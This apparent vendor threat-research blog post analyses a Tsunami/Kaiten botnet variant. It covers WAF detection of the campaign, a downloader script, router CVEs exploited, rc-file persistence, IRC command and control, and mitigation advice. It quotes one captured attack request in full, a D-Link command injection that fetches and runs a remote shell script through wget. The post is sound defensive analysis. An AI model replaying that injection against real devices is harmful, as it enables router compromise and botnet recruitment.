Akamai Diversity

Akamai Security Intelligence
& Threat Research

New Tsunami/Kaiten Variant: Propagation Status

Ryan Barnett, Principal Security Researcher, Akamai

Moshe Zioni, Director of Threat Research, Akamai



Recent news reports have highlighted the latest evolution of the Mirai botnet code, which is itself an evolution of the Kaiten botnet.  The botnet developers have leveraged features from an open-source project, called Aboriginal Linux, that results in a cross platform compiled binary.  Needless to say, this greatly increases the success rates of spreading the Mirai malware code.  As we will show in this blog post, it appears that other malware developers are taking a hint from the Mirai update and also using this cross-platform compilation technique on Tsunami/Kaiten malware to amass a botnet with more than 40,000 participants.

Malware Propagation Detection

Thanks to a combination of visibility of Internet traffic on the Akamai platform and monitoring we have implemented on our Cloud Security Intelligence (CSI) platform, we have been able to identify the propagation techniques of this new Mirai variant.  Our Threat Operations team identified a spike in traffic on August 26, 2018 on one of the Web Application Firewall (WAF) alert monitoring boards:

Figure 1: Grafana Board showing alert triggers for WAF System Command Injections

In addition to real-time WAF alert trigger monitoring, the Akamai Threat Research Team also has implemented heuristics that identify deviations of trigger velocities over time.  When significant deviations occur, an automated email summary is sent to the team for further investigation .

Figure 2: Automated Email Notification of Alert Trigger Deviations

The automated email is helpful, since it includes relevant data samples.  The traffic included the attempted use of the "wget" command-line tool to download files(s) from remote servers (Figure 3), which triggered the WAF System Command Injection logic and generated email alerts.

Figure 3: Obfuscated Command Injection Samples

Malware Exploit Code Analysis

Next, we queried the CSI platform to extract more detailed data from these alerts.  Here is one example -

GET /login.cgi?cli=aa%20aa%27;wget%20http://[redacted]/ken.sh%20

-O%20-%3E%20/tmp/ken.sh;sh%20/tmp/ken.sh%27$ HTTP/1.1

This request is an attempt to exploit a D-Link router remote command execution vulnerability from 2016.  If we download the "ken.sh" file, it shows the following shell commands (Figure 4):

Figure 4: Ken.sh Shell Script Contents

The purpose of this file is to:

  1. Download multiple files (line 1) from a remote server (line 2). The different files are designated to be appropriate to different CPU architectures (ARM, MIPS)

  2. Execute these files/programs

Analysis of Malware Samples

Sha256 hashes were calculated for these three binaries and cross-referenced with entries already uploaded to VirusTotal -

Based on the Anti-Virus detections, these malware samples appear to be a Tsunami/Kaiten variant that was previously analyzed by Akamai's SIRT team in 2016.

Strings Analysis

Since these compiled programs are not stripped, we can view the text data within them using the "strings" command to gain some insights (Figure 5).  

Figure 5: Strings Analysis Shows HTTP Exploit Payloads

  • Line 1 shows the example D-Link exploit initially captured in our WAF logic.

  • Line 8 shows a POST request attempting to exploit CVE-2015-2051 in D-Link routers.

  • Line 19 shows a POST request attempting to exploit CVE-2017-17215 in Huawei routers.

  • Line 31 shows a POST request attempting to exploit CVE-2014-8361 in Realtek routers.

Strings shows the binary has built in code to exploit the following four types of consumer IoT devices:

  • dlink_scanner.c

  • hnap_scanner.c

  • huawei_scanner.c

  • realtek_scanner.c

The source and destinations of the attacks don't seem to have much relevance, as the malware code randomly selects IP addresses/ranges to attack:

  • dlinkscanner_get_random_ip

  • hnapscanner_get_random_ip

  • huaweiscanner_get_random_ip

  • realtekscanner_get_random_ip

Persistency Mechanisms

Persistency attempts are employed by modifying rc files  - the common way to automatically execute commands upon initiating a linux system-state (booting, rebooting, single-user etc.).

Figure 6 highlights attempts to maliciously update the /etc/rc.d/rc.local file.  This file is a common interface to configure what services are being run on Debian distribution.  There is also a clever fall-back using /etc/rc.conf which provides persistency to a wider range of distributions.  This is used If there is some type of failure in the previous method where a file is missing from the system.

It is important to note that Debian and FreeBSD are most common for routers and other linux-based small appliances.


Figure 6: Persistency attempt on /etc/rc.d/rc.local & fall-back to /etc/rc.conf

HTTP & IRC Command and Control (C&C)

Scanning and exploiting various IoT devices is worthless without a method of C&C.

To achieve this goal, the Kaiten code:

  • Contacts the main server for new instructions

  • Downloads binaries

  • Receives commands that find and exploit other devices on the open Internet through several known vulnerabilities on common routers and devices.

  • Sends compromised host log data to a specific Internet Relay Chat (IRC) server and channel, and then is hardcoded within the binaries (specifically - server: irc.daddy.su and channel #DumPz ;hosted in Moscow, Russia).  From that point on, the botnet operators can control the system using IRC commands to launch several known patterns for DDoS attacks.

Propagation Statistics

Akamai Threat Research group analyzed WAF CSI triggers for command injection attacks for this campaign for the past week and found:

  • Number of attacks: 174,734

  • Number of IP addresses participating in the attacks: 40,896

  • Number of unique sites/domains attacked: 1,859


A Tsunami/Kaiten variant attack was observed and deflected on the Akamai Cloud Security platform.  These attacks are targeting know vulnerabilities in IoT devices. The problem with both IoT and routers is that maintenance and security patching is not being done.  

For IoT consumers, it is critical that any patches that are provided by the vendor are applied as soon as possible.  If patches are not available, there are other steps that can be taken to help mitigate exploitation, such as restricting access to specific ports to a local network only instead of from the Internet.  An additional protection layer can also include placing IoT devices behind a WAF to protect against command injection attacks.